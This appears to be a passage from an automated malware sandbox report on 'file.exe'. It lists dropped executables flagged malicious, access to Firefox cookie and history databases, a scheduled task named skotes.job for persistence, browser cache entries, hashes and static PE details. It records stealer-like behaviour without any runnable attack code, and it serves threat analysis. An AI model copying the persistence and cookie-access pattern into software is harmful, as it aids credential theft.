Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5412_214942146\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5412_214942146\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5412_214942146\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\exploma.exe.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3634688
Entropy (8bit):	7.318132684423536
Encrypted:	false
SSDEEP:	49152:zcVwASO2GtlqFEIU6iaLVM35YDRrWpT0QQAlfyqdevV98qW6VWldPJyzFaywHhSp:rL+BuV6qW+o/yzFaHHhrX2ANM4dZ8
MD5:	BCD58BF1A969740FD1E8329F851BB0CC
SHA1:	1D553E9014146260847AB8C28496F07EC8BF4D49
SHA-256:	BE40F0F232D87663F189587F4809BAC6D0394009C520D245092CEF93A61BA7B1
SHA-512:	378D912A45AA54DBEE8F153F87B1EB171B834FAF44C5A5322BAEB076DC4D458B19B2176083EEE8828827E3922A471E3773D921178B09907E77315D51F3F7F331
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.............d...d...d...g...d...a._.d...`...d...g...d...`...d...a..d...d...d../`.a.d../a...d../g...d...e...d...e.}.d../m...d../....d../f...d.Rich..d.........................PE..d.....3g.........."....).............8.........@..............................8...........`.................................................D.5.......7.......6...............7..[...h4.p....................k4.(....g4.@............................................text...l........................... ..`.rdata..v...........................@..@.data.........5..B....5.............@....pdata........6.......6.............@..@.rsrc.........7.......7.............@..@.reloc...[....7..\....7.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsGDBFCGIIIJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3202560
Entropy (8bit):	6.677238146307023
Encrypted:	false
SSDEEP:	98304:MtSdf5zUdfXwae2HVMCbexECfqDvUmrTRgB/:rdt3faRrql
MD5:	03C0A5C86AEA63FEFD8C69932449652E
SHA1:	132A6A5654CA669C42D010C96C4C2351ABF147AC
SHA-256:	BE25FF1670CF7A87429E14A7810725BA148B8027C3CA98E2E70C649FD308C164
SHA-512:	F1A680A76C906B44CBA6EBEB41F1B8E0DD8597AFB635C4BC079FEE2E98DC2394F3F4BE4C8F4EC15BBFD0BB9676F659397087480D94DE6C86F8F21C55379705E7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.....1g1...@.................................W...k.............................0.............................8.0..................................................... . ............................@....rsrc...............................@....idata ............................@...mpvuybat.0......$.................@...egmtcyhv......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsGDBFCGIIIJ.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.497484674062105
Encrypted:	false
SSDEEP:	6:xuOyktDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lB4kt0:xuOjJlvJQ1CGAFMkXd8kX+VB4kt0
MD5:	E358A542C8222B88179A6D6AB89F23B1
SHA1:	0D5BFD25DC8034D7326DF1684FE305BDE6533D2C
SHA-256:	121103F58744D7007B00E4A9ACBA9C01BA66B5CA8F62BB23E49FABD7B3D41586
SHA-512:	53A3A98FE1C8DD981CC1E837A57780DA20A9AD5EF81B45F113624D9F78D77B50976F03C78113E457BAC40242B194E6BC3C77E28DA09AC7ABDEA0A28FD3B59919
Malicious:	false
Preview:	..........G..l._..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (787)
Category:	downloaded
Size (bytes):	792
Entropy (8bit):	5.146492181106169
Encrypted:	false
SSDEEP:	24:8c2GixcBHslgT9lCuABuoB7HHHHHHHYqmffffffo:P2v+KlgZ01BuSEqmffffffo
MD5:	966727D9ED5B3641C34FE0F607AC0D52
SHA1:	67D2A7A10BB35BF326C2888FFB62A54A6510A4C2
SHA-256:	5ED4CE7A40587A034E5FBCE08BF20C838E716DF6D2CC3419363D959225CFBE22
SHA-512:	9304AC17BD18A3985C32C678B064624EFBAA0F2A1BB0056C5280CEDE31060A0DBBAE42C1FACE4C306D3EB5E4A0B88BA4A5E5AF28D7F43084CE90BD624F7AC4ED
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["krispy kreme donuts world kindness day","dollar general penny list","utah brandon rose injury","black ops zombies easter eggs","uranus voyager","tech workers guild strike","tropical storm sara florida","approach r50 golf simulator"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133731
Entropy (8bit):	5.4359701681820765
Encrypted:	false
SSDEEP:	3072:foIkPdsBJT7bKwkztS6STFSz1nrmySnXYK02i6o:foTdUW5c5Sz1nKySnoK08o
MD5:	CE4C2158E69B73A58A9922D332BD6BBA
SHA1:	30283216A2281513E6A2AFBCE658B6D522DFE121
SHA-256:	CAFE2ACD0043AB6F60EA3519EAA97C893D8455D8FCB6FD03F19C2DBAE191B475
SHA-512:	461576C23B7398215FEB76DA9A71DF9DDA6E9CC04283381E94E4DB5F146687D8AC3C45629EF6F0941CF7080F7B1632C4644F423F3E8A3CEFE97AE044076CBD3A
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.943114611994159
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'758'720 bytes
MD5:	2c013c5f9fc0492f1e14ca1d11b1d32d
SHA1:	ae0c8a32c542f8525c118fc230fabcb8a06eefc1
SHA256:	413d87fb41010da4c073ab713d100490f7711d0f320fbc4da27c18c9f46a2641
SHA512:	efea6957c861875277fe19247f3230d0f36109a424f63c6f9c6efd51c0ab0936a380c241691decc7761813ef962dc9a38457b6fa1199122fad382aa1e7991bbe
SSDEEP:	49152:Rt8bqlXS8OEpP/ThOPYltZvHez7r7n7RYfRiPfwy:Rt8iXSwN/lOotpez7dwih
TLSH:	D6853335EAD3C529DADA493FD1A6AB14313AD83547BD0E298ADEF07683457D8DE230C0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa76000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
